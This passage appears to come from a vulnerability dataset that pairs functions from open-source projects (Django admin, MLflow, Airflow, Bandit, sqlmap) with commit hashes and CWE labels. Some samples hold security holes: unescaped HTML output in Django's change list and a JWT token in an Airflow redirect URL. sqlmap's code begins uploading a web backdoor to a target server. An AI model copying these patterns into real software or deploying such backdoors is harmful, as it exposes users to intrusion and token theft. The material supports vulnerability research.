                (get_query_string(params, {year_field: year_lookup}, [field_generic]), year_lookup))
            date_lookup_params = lookup_params.copy()
            date_lookup_params.update({year_field: year_lookup, month_field: month_lookup})
            for day in getattr(lookup_mod, 'get_%s_list' % field_name)('day', **date_lookup_params):
                raw_template.append('<li><a href=""%s"">%s</a></li>' % \
                    (get_query_string(params, {year_field: year_lookup, month_field: month_lookup, day_field: day.day}, [field_generic]), day.strftime('%B %d')))
        elif year_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; All dates</a></li>' % \
                get_query_string(params, {}, [year_field]))
            date_lookup_params = lookup_params.copy()
            date_lookup_params.update({year_field: year_lookup})
            for month in getattr(lookup_mod, 'get_%s_list' % field_name)('month', **date_lookup_params):
                raw_template.append('<li><a href=""%s"">%s %s</a></li>' % \
                    (get_query_string(params, {year_field: year_lookup, month_field: month.month}, [field_generic]), month.strftime('%B'), month.year))
        else:
            for year in getattr(lookup_mod, 'get_%s_list' % field_name)('year', **lookup_params):
                raw_template.append('<li><a href=""%s"">%s</a></li>\n' % \
                    (get_query_string(params, {year_field: year.year}, [field_generic]), year.year))
        raw_template.append('</ul><br class=""clear"" />\n</div>\n')

    # Filters.
    if filter_template:
        raw_template.append('<div id=""changelist-filter"">\n<h2>Filter</h2>\n')
        raw_template.extend(filter_template)
        raw_template.append('</div>')
    del filter_template

    # Result table.
    if result_list:
        # Table headers.
        raw_template.append('<table cellspacing=""0"">\n<thead>\n<tr>\n')
        for i, field_name in enumerate(lookup_opts.admin.list_display):
            try:
                f = lookup_opts.get_field(field_name)
            except meta.FieldDoesNotExist:
                # For non-field list_display values, check for the function
                # attribute ""short_description"". If that doesn't exist, fall
                # back to the method name. And __repr__ is a special-case.
                if field_name == '__repr__':
                    header = lookup_opts.verbose_name
                else:
                    func = getattr(mod.Klass, field_name) # Let AttributeErrors propogate.
                    try:
                        header = func.short_description
                    except AttributeError:
                        header = func.__name__
                # Non-field list_display values don't get ordering capability.
                raw_template.append('<th>%s</th>' % capfirst(header))
            else:
                if isinstance(f.rel, meta.ManyToOne) and f.null:
                    raw_template.append('<th>%s</th>' % capfirst(f.verbose_name))
                else:
                    th_classes = []
                    new_order_type = 'asc'
                    if field_name == order_field:
                        th_classes.append('sorted %sending' % order_type.lower())
                        new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type.lower()]
                    raw_template.append('<th%s><a href=""%s"">%s</a></th>' % \
                        ((th_classes and ' class=""%s""' % ' '.join(th_classes) or ''),
                        get_query_string(params, {ORDER_VAR: i, ORDER_TYPE_VAR: new_order_type}),
                        capfirst(f.verbose_name)))
        raw_template.append('</tr>\n</thead>\n')
        # Result rows.
        pk = lookup_opts.pk.name
        for i, result in enumerate(result_list):
            raw_template.append('<tr class=""row%s"">\n' % (i % 2 + 1))
            for j, field_name in enumerate(lookup_opts.admin.list_display):
                row_class = ''
                try:
                    f = lookup_opts.get_field(field_name)
                except meta.FieldDoesNotExist:
                    # For non-field list_display values, the value is a method
                    # name. Execute the method.
                    try:
                        result_repr = strip_tags(str(getattr(result, field_name)()))
                    except ObjectDoesNotExist:
                        result_repr = EMPTY_CHANGELIST_VALUE
                else:
                    field_val = getattr(result, f.column)
                    # Foreign-key fields are special: Use the repr of the
                    # related object.
                    if isinstance(f.rel, meta.ManyToOne):
                        if field_val is not None:
                            result_repr = getattr(result, 'get_%s' % f.name)()
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                    # Dates are special: They're formatted in a certain way.
                    elif isinstance(f, meta.DateField):
                        if field_val:
                            if isinstance(f, meta.DateTimeField):
                                result_repr = dateformat.format(field_val, 'N j, Y, P')
                            else:
                                result_repr = dateformat.format(field_val, 'N j, Y')
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                        row_class = ' class=""nowrap""'
                    # Booleans are special: We use images.
                    elif isinstance(f, meta.BooleanField) or isinstance(f, meta.NullBooleanField):
                        BOOLEAN_MAPPING = {True: 'yes', False: 'no', None: 'unknown'}
                        result_repr = '<img src=""%simg/admin/icon-%s.gif"" alt=""%s"" />' % (ADMIN_MEDIA_PREFIX, BOOLEAN_MAPPING[field_val], field_val)
                    # ImageFields are special: Use a thumbnail.
                    elif isinstance(f, meta.ImageField):
                        from django.parts.media.photos import get_thumbnail_url
                        result_repr = '<img src=""%s"" alt=""%s"" title=""%s"" />' % (get_thumbnail_url(getattr(result, 'get_%s_url' % f.name)(), '120'), field_val, field_val)
                    # FloatFields are special: Zero-pad the decimals.
                    elif isinstance(f, meta.FloatField):
                        if field_val is not None:
                            result_repr = ('%%.%sf' % f.decimal_places) % field_val
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                    # Fields with choices are special: Use the representation
                    # of the choice.
                    elif f.choices:
                        result_repr = dict(f.choices).get(field_val, EMPTY_CHANGELIST_VALUE)
                    else:
                        result_repr = strip_tags(str(field_val))
                # Some browsers don't like empty ""<td></td>""s.
                if result_repr == '':
                    result_repr = '&nbsp;'
                if j == 0: # First column is a special case
                    result_id = getattr(result, pk)
                    raw_template.append('<th%s><a href=""%s/""%s>%s</a></th>' % \
                        (row_class, result_id, (is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), result_repr))
                else:
                    raw_template.append('<td%s>%s</td>' % (row_class, result_repr))
            raw_template.append('</tr>\n')
        del result_list # to free memory
        raw_template.append('</table>\n')
    else:
        raw_template.append('<p>No %s matched your search criteria.</p>' % opts.verbose_name_plural)

    # Pagination.
    raw_template.append('<p class=""paginator"">')
    if (show_all and can_show_all) or not multi_page:
        pass
    else:
        raw_template.append('Page &rsaquo; ')
        ON_EACH_SIDE = 3
        ON_ENDS = 2
        DOT = '.'
        # If there are 10 or fewer pages, display links to every page.
        # Otherwise, do some fancy
        if p.pages <= 10:
            page_range = range(p.pages)
        else:
            # Insert ""smart"" pagination links, so that there are always ON_ENDS
            # links at either end of the list of pages, and there are always
            # ON_EACH_SIDE links at either end of the ""current page"" link.
            page_range = []
            if page_num > (ON_EACH_SIDE + ON_ENDS):
                page_range.extend(range(0, ON_EACH_SIDE - 1))
                page_range.append(DOT)
                page_range.extend(range(page_num - ON_EACH_SIDE, page_num + 1))
            else:
                page_range.extend(range(0, page_num + 1))
            if page_num < (p.pages - ON_EACH_SIDE - ON_ENDS - 1):
                page_range.extend(range(page_num + 1, page_num + ON_EACH_SIDE + 1))
                page_range.append(DOT)
                page_range.extend(range(p.pages - ON_ENDS, p.pages))
            else:
                page_range.extend(range(page_num + 1, p.pages))
        for i in page_range:
            if i == DOT:
                raw_template.append('... ')
            elif i == page_num:
                raw_template.append('<span class=""this-page"">%d</span> ' % (i+1))
            else:
                raw_template.append('<a href=""%s""%s>%d</a> ' % \
                    (get_query_string(params, {PAGE_VAR: i}), (i == p.pages-1 and ' class=""end""' or ''), i+1))
    raw_template.append('%s %s' % (result_count, result_count == 1 and opts.verbose_name or opts.verbose_name_plural))
    if can_show_all and not show_all and multi_page:
        raw_template.append('&nbsp;&nbsp;<a href=""%s"" class=""showall"">Show all</a>' % \
            get_query_string(params, {ALL_VAR: ''}))
    raw_template.append('</p>')

    raw_template.append('</div>\n</div>')
    raw_template.append('{% endblock %}\n')
    t = template_loader.get_template_from_string(''.join(raw_template))
    c = Context(request, {
        'title': (is_popup and 'Select %s' % opts.verbose_name or 'Select %s to change' % opts.verbose_name),
        'is_popup': is_popup,
    })
    return HttpResponse(t.render(c), mimetype='text/html; charset=utf-8')",CWE-Unknown,django/django,b77114caaa4842749e4779146e22c22a41880f13,"def change_list(request, app_label, module_name):
    from django.core import paginator
    from django.utils import dateformat
    from django.utils.dates import MONTHS
    from django.utils.html import escape
    import datetime

    # The system will display a ""Show all"" link only if the total result count
    # is less than or equal to this setting.
    MAX_SHOW_ALL_ALLOWED = 200

    DEFAULT_RESULTS_PER_PAGE = 100

    ALL_VAR = 'all'
    ORDER_VAR = 'o'
    ORDER_TYPE_VAR = 'ot'
    PAGE_VAR = 'p'
    SEARCH_VAR = 'q'
    IS_POPUP_VAR = 'pop'

    mod, opts = _get_mod_opts(app_label, module_name)
    if not request.user.has_perm(app_label + '.' + opts.get_change_permission()):
        raise PermissionDenied

    lookup_mod, lookup_opts = mod, opts

    if opts.one_to_one_field:
        lookup_mod = opts.one_to_one_field.rel.to.get_model_module()
        lookup_opts = lookup_mod.Klass._meta
        # If lookup_opts doesn't have admin set, give it the default meta.Admin().
        if not lookup_opts.admin:
            lookup_opts.admin = meta.Admin()

    # Get search parameters from the query string.
    try:
        page_num = int(request.GET.get(PAGE_VAR, 0))
    except ValueError:
        page_num = 0
    show_all = request.GET.has_key(ALL_VAR)
    is_popup = request.GET.has_key(IS_POPUP_VAR)
    params = dict(request.GET.copy())
    if params.has_key(PAGE_VAR):
        del params[PAGE_VAR]
    # For ordering, first check the ""ordering"" parameter in the admin options,
    # then check the object's default ordering. If neither of those exist,
    # order descending by ID by default. Finally, look for manually-specified
    # ordering from the query string.
    ordering = lookup_opts.admin.ordering or lookup_opts.ordering or ['-' + lookup_opts.pk.name]

    # Normalize it to new-style ordering.
    ordering = meta.handle_legacy_orderlist(ordering)

    if ordering[0].startswith('-'):
        order_field, order_type = ordering[0][1:], 'desc'
    else:
        order_field, order_type = ordering[0], 'asc'
    if params.has_key(ORDER_VAR):
        try:
            try:
                f = lookup_opts.get_field(lookup_opts.admin.list_display[int(params[ORDER_VAR])])
            except meta.FieldDoesNotExist:
                pass
            else:
                if not isinstance(f.rel, meta.ManyToOne) or not f.null:
                    order_field = f.name
        except (IndexError, ValueError):
            pass # Invalid ordering specified. Just use the default.
    if params.has_key(ORDER_TYPE_VAR) and params[ORDER_TYPE_VAR] in ('asc', 'desc'):
        order_type = params[ORDER_TYPE_VAR]
    query = request.GET.get(SEARCH_VAR, '')

    # Prepare the lookup parameters for the API lookup.
    lookup_params = params.copy()
    for i in (ALL_VAR, ORDER_VAR, ORDER_TYPE_VAR, SEARCH_VAR, IS_POPUP_VAR):
        if lookup_params.has_key(i):
            del lookup_params[i]
    # If the order-by field is a field with a relationship, order by the value
    # in the related table.
    lookup_order_field = order_field
    if isinstance(lookup_opts.get_field(order_field).rel, meta.ManyToOne):
        f = lookup_opts.get_field(order_field)
        lookup_order_field = '%s.%s' % (f.rel.to.db_table, f.rel.to.ordering[0])
    # Use select_related if one of the list_display options is a field with a
    # relationship.
    for field_name in lookup_opts.admin.list_display:
        try:
            f = lookup_opts.get_field(field_name)
        except meta.FieldDoesNotExist:
            pass
        else:
            if isinstance(f.rel, meta.ManyToOne):
                lookup_params['select_related'] = True
                break
    lookup_params['order_by'] = ((order_type == 'desc' and '-' or '') + lookup_order_field,)
    if lookup_opts.admin.search_fields and query:
        or_queries = []
        for bit in query.split():
            or_query = []
            for field_name in lookup_opts.admin.search_fields:
                or_query.append(('%s__icontains' % field_name, bit))
            or_queries.append(or_query)
        lookup_params['_or'] = or_queries

    if opts.one_to_one_field:
        lookup_params.update(opts.one_to_one_field.rel.limit_choices_to)

    # Get the results.
    try:
        p = paginator.ObjectPaginator(lookup_mod, lookup_params, DEFAULT_RESULTS_PER_PAGE)
    # Naked except! Because we don't have any other way of validating ""params"".
    # They might be invalid if the keyword arguments are incorrect, or if the
    # values are not in the correct type (which would result in a database
    # error).
    except:
        return HttpResponseRedirect(request.path)

    # Get the total number of objects, with no filters applied.
    real_lookup_params = lookup_params.copy()
    del real_lookup_params['order_by']
    if real_lookup_params:
        full_result_count = lookup_mod.get_count()
    else:
        full_result_count = p.hits
    del real_lookup_params
    result_count = p.hits
    can_show_all = result_count <= MAX_SHOW_ALL_ALLOWED
    multi_page = result_count > DEFAULT_RESULTS_PER_PAGE

    # Get the list of objects to display on this page.
    if (show_all and can_show_all) or not multi_page:
        result_list = lookup_mod.get_list(**lookup_params)
    else:
        try:
            result_list = p.get_page(page_num)
        except paginator.InvalidPage:
            result_list = []

    # Calculate filters first, because a CSS class high in the document depends
    # on whether they are available.
    filter_template = []
    if lookup_opts.admin.list_filter and not opts.one_to_one_field:
        filter_fields = [lookup_opts.get_field(field_name) for field_name in lookup_opts.admin.list_filter]
        for f in filter_fields:
            # Many-to-many or many-to-one filter.
            if f.rel:
                if isinstance(f, meta.ManyToManyField):
                    lookup_kwarg = '%s__id__exact' % f.name
                    lookup_title = f.rel.to.verbose_name
                else:
                    lookup_kwarg = '%s__exact' % f.name
                    lookup_title = f.verbose_name
                lookup_val = request.GET.get(lookup_kwarg, None)
                lookup_choices = f.rel.to.get_model_module().get_list()
                if len(lookup_choices) > 1:
                    filter_template.append('<h3>By %s:</h3>\n<ul>\n' % lookup_title)
                    filter_template.append('<li%s><a href=""%s"">All</a></li>\n' % \
                        ((lookup_val is None and ' class=""selected""' or ''),
                        get_query_string(params, {}, [lookup_kwarg])))
                    for val in lookup_choices:
                        filter_template.append('<li%s><a href=""%s"">%r</a></li>\n' % \
                            ((lookup_val == str(val.id) and ' class=""selected""' or ''),
                            get_query_string(params, {lookup_kwarg: val.id}), val))
                    filter_template.append('</ul>\n\n')
            # Field with choices.
            elif f.choices:
                lookup_kwarg = '%s__exact' % f.name
                lookup_val = request.GET.get(lookup_kwarg, None)
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                filter_template.append('<li%s><a href=""%s"">All</a></li>\n' % \
                    ((lookup_val is None and ' class=""selected""' or ''),
                    get_query_string(params, {}, [lookup_kwarg])))
                for k, v in f.choices:
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>' % \
                        ((str(k) == lookup_val) and ' class=""selected""' or '',
                        get_query_string(params, {lookup_kwarg: k}), v))
                filter_template.append('</ul>\n\n')
            # Date filter.
            elif isinstance(f, meta.DateField):
                today = datetime.date.today()
                one_week_ago = today - datetime.timedelta(days=7)
                field_generic = '%s__' % f.name
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                date_params = dict([(k, v) for k, v in params.items() if k.startswith(field_generic)])
                today_str = isinstance(f, meta.DateTimeField) and today.strftime('%Y-%m-%d 23:59:59') or today.strftime('%Y-%m-%d')
                for title, param_dict in (
                    ('Any date', {}),
                    ('Today', {'%s__year' % f.name: str(today.year), '%s__month' % f.name: str(today.month), '%s__day' % f.name: str(today.day)}),
                    ('Past 7 days', {'%s__gte' % f.name: one_week_ago.strftime('%Y-%m-%d'), '%s__lte' % f.name: today_str}),
                    ('This month', {'%s__year' % f.name: str(today.year), '%s__month' % f.name: str(today.month)}),
                    ('This year', {'%s__year' % f.name: str(today.year)})
                ):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        ((date_params == param_dict) and ' class=""selected""' or '',
                        get_query_string(params, param_dict, field_generic), title))
                filter_template.append('</ul>\n\n')
            elif isinstance(f, meta.BooleanField) or isinstance(f, meta.NullBooleanField):
                lookup_kwarg = '%s__exact' % f.name
                lookup_kwarg2 = '%s__isnull' % f.name
                lookup_val = request.GET.get(lookup_kwarg, None)
                lookup_val2 = request.GET.get(lookup_kwarg2, None)
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                for k, v in (('All', None), ('Yes', 'True'), ('No', 'False')):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        (((lookup_val == v and not lookup_val2) and ' class=""selected""' or ''),
                        get_query_string(params, {lookup_kwarg: v}, [lookup_kwarg2]), k))
                if isinstance(f, meta.NullBooleanField):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        (((lookup_val2 == 'True') and ' class=""selected""' or ''),
                        get_query_string(params, {lookup_kwarg2: 'True'}, [lookup_kwarg]), 'Unknown'))
                filter_template.append('</ul>\n\n')
            else:
                pass # Invalid argument to ""list_filter""

    raw_template = ['{% extends ""base_site"" %}\n']
    raw_template.append('{% block bodyclass %}change-list{% endblock %}\n')
    if not is_popup:
        raw_template.append('{%% block breadcrumbs %%}<div class=""breadcrumbs""><a href=""../../"">Home</a> &rsaquo; %s</div>{%% endblock %%}\n' % capfirst(opts.verbose_name_plural))
    raw_template.append('{% block coltype %}flex{% endblock %}')
    raw_template.append('{% block content %}\n')
    raw_template.append('<div id=""content-main"">\n')
    if request.user.has_perm(app_label + '.' + lookup_opts.get_add_permission()):
        raw_template.append('<ul class=""object-tools""><li><a href=""add/%s"" class=""addlink"">Add %s</a></li></ul>\n' % ((is_popup and '?_popup=1' or ''), opts.verbose_name))
    raw_template.append('<div class=""module%s"" id=""changelist"">\n' % (filter_template and ' filtered' or ''))

    # Search form.
    if lookup_opts.admin.search_fields:
        raw_template.append('<div id=""toolbar"">\n<form id=""changelist-search"" action="""" method=""get"">\n')
        raw_template.append('<label><img src=""%simg/admin/icon_searchbox.png"" /></label> ' % ADMIN_MEDIA_PREFIX)
        raw_template.append('<input type=""text"" size=""40"" name=""%s"" value=""%s"" id=""searchbar"" /> ' % \
            (SEARCH_VAR, escape(query)))
        raw_template.append('<input type=""submit"" value=""Go"" /> ')
        if result_count != full_result_count and not opts.one_to_one_field:
            raw_template.append('<span class=""small quiet"">%s result%s (<a href=""?"">%s total</a>)</span>' % \
                (result_count, (result_count != 1 and 's' or ''), full_result_count))
        for k, v in params.items():
            if k != SEARCH_VAR:
                raw_template.append('<input type=""hidden"" name=""%s"" value=""%s"" />' % (escape(k), escape(v)))
        raw_template.append('</form></div>\n')
        raw_template.append('<script type=""text/javascript"">document.getElementById(""searchbar"").focus();</script>')

    # Date-based navigation.
    if lookup_opts.admin.date_hierarchy:
        field_name = lookup_opts.admin.date_hierarchy

        year_field = '%s__year' % field_name
        month_field = '%s__month' % field_name
        day_field = '%s__day' % field_name
        field_generic = '%s__' % field_name
        year_lookup = params.get(year_field)
        month_lookup = params.get(month_field)
        day_lookup = params.get(day_field)

        raw_template.append('<div class=""xfull"">\n<ul class=""toplinks"">\n')
        if year_lookup and month_lookup and day_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; %s %s </a></li>' % \
                (get_query_string(params, {year_field: year_lookup, month_field: month_lookup}, [field_generic]), MONTHS[int(month_lookup)], year_lookup))
            raw_template.append('<li>%s %s</li>' % (MONTHS[int(month_lookup)], day_lookup))
        elif year_lookup and month_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; %s</a></li>' % \
                (get_query_string(params, {year_field: year_lookup}, [field_generic]), year_lookup))
            date_lookup_params = lookup_params.copy()
            date_lookup_params.update({year_field: year_lookup, month_field: month_lookup})
            for day in getattr(lookup_mod, 'get_%s_list' % field_name)('day', **date_lookup_params):
                raw_template.append('<li><a href=""%s"">%s</a></li>' % \
                    (get_query_string(params, {year_field: year_lookup, month_field: month_lookup, day_field: day.day}, [field_generic]), day.strftime('%B %d')))
        elif year_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; All dates</a></li>' % \
                get_query_string(params, {}, [year_field]))
            date_lookup_params = lookup_params.copy()
            date_lookup_params.update({year_field: year_lookup})
            for month in getattr(lookup_mod, 'get_%s_list' % field_name)('month', **date_lookup_params):
                raw_template.append('<li><a href=""%s"">%s %s</a></li>' % \
                    (get_query_string(params, {year_field: year_lookup, month_field: month.month}, [field_generic]), month.strftime('%B'), month.year))
        else:
            for year in getattr(lookup_mod, 'get_%s_list' % field_name)('year', **lookup_params):
                raw_template.append('<li><a href=""%s"">%s</a></li>\n' % \
                    (get_query_string(params, {year_field: year.year}, [field_generic]), year.year))
        raw_template.append('</ul><br class=""clear"" />\n</div>\n')

    # Filters.
    if filter_template:
        raw_template.append('<div id=""changelist-filter"">\n<h2>Filter</h2>\n')
        raw_template.extend(filter_template)
        raw_template.append('</div>')
    del filter_template

    # Result table.
    if result_list:
        # Table headers.
        raw_template.append('<table cellspacing=""0"">\n<thead>\n<tr>\n')
        for i, field_name in enumerate(lookup_opts.admin.list_display):
            try:
                f = lookup_opts.get_field(field_name)
            except meta.FieldDoesNotExist:
                # For non-field list_display values, check for the function
                # attribute ""short_description"". If that doesn't exist, fall
                # back to the method name. And __repr__ is a special-case.
                if field_name == '__repr__':
                    header = lookup_opts.verbose_name
                else:
                    func = getattr(mod.Klass, field_name) # Let AttributeErrors propogate.
                    try:
                        header = func.short_description
                    except AttributeError:
                        header = func.__name__
                # Non-field list_display values don't get ordering capability.
                raw_template.append('<th>%s</th>' % capfirst(header))
            else:
                if isinstance(f.rel, meta.ManyToOne) and f.null:
                    raw_template.append('<th>%s</th>' % capfirst(f.verbose_name))
                else:
                    th_classes = []
                    new_order_type = 'asc'
                    if field_name == order_field:
                        th_classes.append('sorted %sending' % order_type.lower())
                        new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type.lower()]
                    raw_template.append('<th%s><a href=""%s"">%s</a></th>' % \
                        ((th_classes and ' class=""%s""' % ' '.join(th_classes) or ''),
                        get_query_string(params, {ORDER_VAR: i, ORDER_TYPE_VAR: new_order_type}),
                        capfirst(f.verbose_name)))
        raw_template.append('</tr>\n</thead>\n')
        # Result rows.
        pk = lookup_opts.pk.name
        for i, result in enumerate(result_list):
            raw_template.append('<tr class=""row%s"">\n' % (i % 2 + 1))
            for j, field_name in enumerate(lookup_opts.admin.list_display):
                row_class = ''
                try:
                    f = lookup_opts.get_field(field_name)
                except meta.FieldDoesNotExist:
                    # For non-field list_display values, the value is a method
                    # name. Execute the method.
                    try:
                        result_repr = strip_tags(str(getattr(result, field_name)()))
                    except ObjectDoesNotExist:
                        result_repr = EMPTY_CHANGELIST_VALUE
                else:
                    field_val = getattr(result, f.column)
                    # Foreign-key fields are special: Use the repr of the
                    # related object.
                    if isinstance(f.rel, meta.ManyToOne):
                        if field_val is not None:
                            result_repr = getattr(result, 'get_%s' % f.name)()
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                    # Dates are special: They're formatted in a certain way.
                    elif isinstance(f, meta.DateField):
                        if field_val:
                            if isinstance(f, meta.DateTimeField):
                                result_repr = dateformat.format(field_val, 'N j, Y, P')
                            else:
                                result_repr = dateformat.format(field_val, 'N j, Y')
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                        row_class = ' class=""nowrap""'
                    # Booleans are special: We use images.
                    elif isinstance(f, meta.BooleanField) or isinstance(f, meta.NullBooleanField):
                        BOOLEAN_MAPPING = {True: 'yes', False: 'no', None: 'unknown'}
                        result_repr = '<img src=""%simg/admin/icon-%s.gif"" alt=""%s"" />' % (ADMIN_MEDIA_PREFIX, BOOLEAN_MAPPING[field_val], field_val)
                    # ImageFields are special: Use a thumbnail.
                    elif isinstance(f, meta.ImageField):
                        from django.parts.media.photos import get_thumbnail_url
                        result_repr = '<img src=""%s"" alt=""%s"" title=""%s"" />' % (get_thumbnail_url(getattr(result, 'get_%s_url' % f.name)(), '120'), field_val, field_val)
                    # FloatFields are special: Zero-pad the decimals.
                    elif isinstance(f, meta.FloatField):
                        if field_val is not None:
                            result_repr = ('%%.%sf' % f.decimal_places) % field_val
                        else:
                            result_repr = EMPTY_CHANGELIST_VALUE
                    # Fields with choices are special: Use the representation
                    # of the choice.
                    elif f.choices:
                        result_repr = dict(f.choices).get(field_val, EMPTY_CHANGELIST_VALUE)
                    else:
                        result_repr = strip_tags(str(field_val))
                # Some browsers don't like empty ""<td></td>""s.
                if result_repr == '':
                    result_repr = '&nbsp;'
                if j == 0: # First column is a special case
                    result_id = getattr(result, pk)
                    raw_template.append('<th%s><a href=""%s/""%s>%s</a></th>' % \
                        (row_class, result_id, (is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), result_repr))
                else:
                    raw_template.append('<td%s>%s</td>' % (row_class, result_repr))
            raw_template.append('</tr>\n')
        del result_list # to free memory
        raw_template.append('</table>\n')
    else:
        raw_template.append('<p>No %s matched your search criteria.</p>' % opts.verbose_name_plural)

    # Pagination.
    raw_template.append('<p class=""paginator"">')
    if (show_all and can_show_all) or not multi_page:
        pass
    else:
        raw_template.append('Page &rsaquo; ')
        ON_EACH_SIDE = 3
        ON_ENDS = 2
        DOT = '.'
        # If there are 10 or fewer pages, display links to every page.
        # Otherwise, do some fancy
        if p.pages <= 10:
            page_range = range(p.pages)
        else:
            # Insert ""smart"" pagination links, so that there are always ON_ENDS
            # links at either end of the list of pages, and there are always
            # ON_EACH_SIDE links at either end of the ""current page"" link.
            page_range = []
            if page_num > (ON_EACH_SIDE + ON_ENDS):
                page_range.extend(range(0, ON_EACH_SIDE - 1))
                page_range.append(DOT)
                page_range.extend(range(page_num - ON_EACH_SIDE, page_num + 1))
            else:
                page_range.extend(range(0, page_num + 1))
            if page_num < (p.pages - ON_EACH_SIDE - ON_ENDS - 1):
                page_range.extend(range(page_num + 1, page_num + ON_EACH_SIDE + 1))
                page_range.append(DOT)
                page_range.extend(range(p.pages - ON_ENDS, p.pages))
            else:
                page_range.extend(range(page_num + 1, p.pages))
        for i in page_range:
            if i == DOT:
                raw_template.append('... ')
            elif i == page_num:
                raw_template.append('<span class=""this-page"">%d</span> ' % (i+1))
            else:
                raw_template.append('<a href=""%s""%s>%d</a> ' % \
                    (get_query_string(params, {PAGE_VAR: i}), (i == p.pages-1 and ' class=""end""' or ''), i+1))
    raw_template.append('%s %s' % (result_count, result_count == 1 and opts.verbose_name or opts.verbose_name_plural))
    if can_show_all and not show_all and multi_page:
        raw_template.append('&nbsp;&nbsp;<a href=""%s"" class=""showall"">Show all</a>' % \
            get_query_string(params, {ALL_VAR: ''}))
    raw_template.append('</p>')

    raw_template.append('</div>\n</div>')
    raw_template.append('{% endblock %}\n')
    t = template_loader.get_template_from_string(''.join(raw_template))
    c = Context(request, {
        'title': (is_popup and 'Select %s' % opts.verbose_name or 'Select %s to change' % opts.verbose_name),
        'is_popup': is_popup,
    })
    return HttpResponse(t.render(c), mimetype='text/html; charset=utf-8')"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow2_autolog.py,0,"def test_keras_autolog_infers_model_signature_correctly_with_keras_sequence(
    keras_data_gen_sequence,
):
    mlflow.tensorflow.autolog(log_model_signatures=True)
    initial_model = create_tf_keras_model()
    with mlflow.start_run() as run:
        initial_model.fit(keras_data_gen_sequence)
        _assert_autolog_infers_model_signature_correctly(
            run,
            [{""type"": ""tensor"", ""tensor-spec"": {""dtype"": ""float64"", ""shape"": [-1, 4]}}],
            [{""type"": ""tensor"", ""tensor-spec"": {""dtype"": ""float32"", ""shape"": [-1, 3]}}],
        )",,mlflow/mlflow,38cabe146be8b79efc7cce71c5579ea0d51e7a92,"def test_keras_autolog_infers_model_signature_correctly_with_keras_sequence(
    keras_data_gen_sequence,
):
    mlflow.tensorflow.autolog(log_model_signatures=True)
    initial_model = create_tf_keras_model()
    with mlflow.start_run() as run:
        initial_model.fit(keras_data_gen_sequence)
        _assert_autolog_infers_model_signature_correctly(
            run,
            [{""type"": ""tensor"", ""tensor-spec"": {""dtype"": ""float64"", ""shape"": [-1, 4]}}],
            [{""type"": ""tensor"", ""tensor-spec"": {""dtype"": ""float32"", ""shape"": [-1, 3]}}],
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/fab/src/airflow/providers/fab/www/views.py,0,"def index(self):
        if g.user is not None and g.user.is_authenticated:
            token = get_auth_manager().get_jwt_token(g.user)
            return redirect(urljoin(conf.get(""api"", ""base_url""), f""?token={token}""), code=302)
        else:
            return redirect(conf.get(""api"", ""base_url""), code=302)",CWE-Unknown,apache/airflow,11c305acad2e41c761c07c29154e30fe8a378e13,"def index(self):
        if g.user is not None and g.user.is_authenticated:
            token = get_auth_manager().get_jwt_token(g.user)
            return redirect(urljoin(conf.get(""api"", ""base_url""), f""?token={token}""), code=302)
        else:
            return super().index()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/context.py,0,"def string_val(self):
        '''Get a string value of a standalone string

        :return: String value of a standalone string
        '''
        if 'str' in self._context:
            return self._context['str']
        else:
            return None",UNKNOWN,PyCQA/bandit,d4047594ad478f4405e3128637371243ed4ad82c,"def string_val(self):
        '''Get a string value of a standalone string

        :return: String value of a standalone string
        '''
        if 'str' in self._context:
            return self._context['str']
        else:
            return None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if Backend.isOs(OS.WINDOWS):
                default = ""asp""
            else:
                default = ""php""

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
